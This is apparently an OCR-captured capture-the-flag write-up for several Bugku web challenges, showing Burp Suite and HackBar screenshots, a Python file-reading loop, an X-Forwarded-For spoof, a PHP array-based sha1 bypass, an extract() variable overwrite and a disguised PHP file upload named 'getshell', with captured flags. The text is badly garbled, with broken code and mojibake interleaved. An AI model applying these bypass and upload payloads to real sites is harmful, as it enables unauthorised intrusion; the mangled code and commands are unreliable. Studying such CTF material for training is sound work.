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) ) import requests
set ($ GET[” 1line’ 1) ?intval (§ GET[’ line’]) :0; s=requests.Session()
url="http://123.206.87.240:8002/web11/index.php?line
for i in range(1,20):

payload={line":str(j), filename""aW5kZXgucGhw'}
) a=s.get(url,params=payload).content
$file list = array( content=str(a)
| print{content)
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if($file=="") header ("location:index ?line=&filename=a
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iUwQSUyNGEIMOQIMIRIROVUITVCITIZYSUyNyU1RCUzQiUwWQSUy
NGIMOQIMIRIROVUJTVCITI3YiUyNyU1RCUzQiUwQWImJTI4c3RyaX
BveyUyOCUyNGEIMKkMIMjcud TIZJTISJTISJTBBJTdCJTBBITASZWNo
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BpcyUyMGEIMjBuaWNIJ TIweGxhdGVmb3Jt Tixd TlyJTiwY W5k Tlw)
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bpltl, #HinX-Forwarded-ForZ%4127.0.0.1

f ‘ Burp Suite Free Edition v1.7.27 - Temporary Project

Burp Intruder Repeater Window Help

B vy I @
Target | Prosy Spider | Scanner T Intruder I Repeater T Sequencer I Decoder I Comparer I Extender T Project options T User options | Alerts 17,2400
ntercept T HTTP history ]’Wehsucke&s history I Options. }
A L
Q0 | | #| Request to http:/123 208 57.240:3002
l Forward J { Drop J ( Intercept is on W Action 18 &
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| i Raw | Params | Headers | Hex
- " e
?his PC . % Name Valug Add
GET flocalhost/ HTTP/1.1
Host 123.206.87.240:8002 Remove
) User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0 -
g 7 4 Acownt texthtmi I applicationfxml=0. 4/g=0.3 up
Accept-Language zh-CN,zh;g=0.8,zh-TW,q=0.7,zh-HK;g=0.5,en-US;g=0.3,en;q=02 —
7] 7] o " - Down
ccept-Encoding gzip, deflate
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Referer

Cookie

Connection

Upgrade Insecure Requesis
Cache-Control
X-Forwarded-For

hitp:i/ctf.bugku.com/challenges
PHPSESSID=hrrk3hfbuifs8f38o6t2bdBipeggoBqk1
close
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123.206.87.240:8002/webT/ x ey
<« ¢ @ @ 123.206.87.240:8002 fweb7 findex.php?uname[]= 123 & passwd([] = 234&id = margin&l B e Y InNED s 8 ® @ =
& gminE ExEsss @ FErk BsAmn [rsms © np/123.20687.2409. [ EaEHes

@ HackBar Quantum~ X <7php ) .
highlight_file( flag.php );

T e $ GET['id'] = urldecode($ CET['id 1);

$flag = ’flag{xx 1
Otherv || XS5+¥ | SQL¥ if (isset($_GET[ uname’]) and isset($_POST[ passwd ]))
Strings~ || Payloads™ if ($_GET[ uname’] == §_POST[ passwd 1)

ﬂl Split M print 'passwd can not be uname. :

http://123.206.87.240:8002

/webT7/index.php?uname[]=12 : (ohall 21Ty ——— a1l * asswd 1 &6 HP SR Y
Sipasswa[]=23%610marging alse if (shal($_GET[ uname']) shal (§_POST[ passwd’ 1)&($_GET[ id margin )
die( Flag: .$flag);
else
Auto-Pwn+
[ Enable post Data print ' sorry!’;

passwd[]=234

2 Flag: flag{HACK_45hhs_213sDD}

[Enable Referer

Modified by DLS, credits to mxar@fossc.un
Source: https: /github, com/notdlsfhackbar

%348 : WEBS

YA AR e flitwebl H 3 A — /MU . #iEur=http://123.206.87.240:8002/web8/?ac=flags&fn=flag.txt. 5% 1
=%flag.

123.206.87 240:8002/ web8/ x g
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o 28nE DydEsRs @ #Frk [Deams Dmsms O np/123.20687.2409.. [ saksas
<{?php
extract (§_GET) ;
if  (lempty($ac))
§f trim(file_get_contents(§fn)) ;

if ($ac === $§1)

echo “<p>This is flag:” .” §flagd/p>”:
else

echo “<prsorry!</p>”;
2

This is flag: flag{3cfb7a90fc0de31}
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KBS AR M. SR 3 EAR SR IR AC L By, X8 U 7 2 2 Multipart/form-data ) kM5 . Content-TypelI i v 14

Fr H.php 5 25 5 e php5 AT %2 $flag.

‘ Burp Suite Free Edition +1.7.27 - Temporary Project

Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner I Intruder Tﬂepaaler T Sequencer T Decoder ( Comparer ( Extender I Project options T User options | Alerts

Go Cancel
Request

Raw | Params | Headers | Hex

Target: http://[123.206.87.240:8002 [ﬁ 2

Response

Raw | Headers | Hex | HTML Render]
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Host: 123.206.87.240:8002

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x64; rviel.0)
Gecko/20100101 Firefox/62.0

text/html, applicacion/uhtml+exml, application/uml;q=0.9,%/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US; g=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Beferer: http://123.206.87.240:8002/wehS/index . php

Content-Type: Multipart/form-data;

boundar
Content-Length: 321
Connection: close
Upgrade-Insecure-Requests: 1

1147829358268962

114782935826962
Content-Disposition: form-data; name="file"; filename="getshell.phps"
| Contenc-Type: image/ipg

<Iphp echo 'getshell';?»

114782935826962
Content-Disposition: form-data; name="submit"

Submit

114782935826962-~

kL
L]

0 matches

HITP/L.1 200 0K
Server: nginx

Date: Tue, 23 Oct 2018 00:04:25 GMT
Content-Type: text/honl

Commection: close

Content-Length: 268

I3

<html>
<body>

<form action="index.php" method="post"
enctype="multipart/form-data"s

My mame is margin,give me a image file not a php<br>
<br>

<input type="file" name="file" id="file" />

<input type="submit" name="submit" value="Submit" />
</form>

KEY{bb35dc123%20e }

b
v
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404 bytes | 24 milis
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